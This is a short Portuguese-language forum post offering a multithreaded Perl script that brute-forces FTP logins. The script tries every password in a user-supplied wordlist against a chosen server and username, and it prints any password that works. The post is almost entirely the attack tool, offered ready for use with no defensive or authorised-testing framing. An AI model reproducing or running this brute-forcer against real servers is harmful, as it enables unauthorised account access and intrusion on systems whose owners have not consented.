Ola Galera, hoje eu irei postar um FTP-BruteForcer pra vocês, com Multi-threading, Wordlist Externa, e funcionando perfeitamente:
Código:
#!/usr/bin/env perl #Coded by andreol263 use warnings; use threads; use threads::shared; use Net::FTP; $qqq = 100; $^O =~ /Win/?system('cls'):system('clear'); print "\t\t FTP Brute-Force \n"; print "[+]FTP Server:\n"; chomp(our $in = <STDIN>); if($in !~ m(http://)) {$in = "ftp." . $in} print "[+]Username:\n"; chomp(our $usr = <STDIN>); print "[+]Wordlist:\n"; chomp($wor = <STDIN>); open(OUT,"<", $wor) || die "[!]Wordlist not found!\n"; @lid = <OUT>; our @lid2 = grep {!/\a\z/} @lid; my $leave :shared = 0; $ind = 0; $fid = $qqq - 1; while(1){ exit if $leave; @threads = (); for ($i=$ind;$i<=$fid;$i++){ push (@threads, $i); } foreach (@threads){ $_ = threads->create({ 'stack_size' => 64*4096, 'exit' => 'threads_only' }, \&ftp); } foreach (@threads){ $_->join(); } $ind = $fid++; $fid += $qqq ; } sub ftp{ $tq =threads->tid(); threads->exit() if $leave; $tq--; if($lid2[$tq]){ my $ftp = Net::FTP->new($in) || die("[!]Connection faluire!\n"); if($ftp->login($usr, $lid2[$tq])){ $ftp->quit; print "[+]Cracked:$lid2[$tq]\n"; exit; }else{ $ftp->quit; print "[!]Not valid\n"; } }else{ $leave = 1; } }